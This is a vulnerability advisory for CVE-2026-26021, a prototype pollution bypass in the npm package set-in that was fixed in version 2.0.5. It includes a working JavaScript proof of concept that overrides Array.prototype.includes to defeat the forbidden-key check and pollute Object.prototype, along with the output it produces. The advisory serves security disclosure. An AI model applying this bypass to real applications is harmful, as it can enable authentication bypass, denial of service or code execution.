CVE-2026-26021 — Vulnerability in set-in — CVE Details

### Summary A prototype pollution vulnerability exists in the the npm package set-in (>=2.0.1). Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using Array.prototype. This has been fixed in version 2.0.5. ### Details The vulnerability resides in line 28 of https://github.com/ahdinosaur/set-in/blob/master/index.js where includes() function is used to check whether user provided input contain forbidden strings. ### PoC #### Steps to reproduce 1. Install latest version of set-in using npm install or cloning from git 2. Run the following code snippet: ```javascript Array.prototype.includes = () => false; const si = require('set-in'); const obj = {}; console.log({}.polluted); si(obj, [ 'constructor', 'prototype', 'polluted' ], 'yes'); console.log('{ ' + obj.polluted + ', ' + 'yes' + ' }'); // prints yes -> indicating that the patch was bypassed and prototype pollution occurred ``` #### Expected behavior Prototype pollution should be prevented and {} should not gain new properties. This should be printed on the console: ``` undefined undefined OR throw an Error ``` #### Actual behavior Object.prototype is polluted This is printed on the console: ``` undefined yes ``` ### Impact This is a prototype pollution vulnerability, which can have severe security implications depending on how set-in is used by downstream applications. Any application that processes attacker-controlled input using this package may be affected. It could potentially lead to the following problems: 1. Authentication bypass 2. Denial of service 3. Remote code execution (if polluted property is passed to sinks like eval or child_process)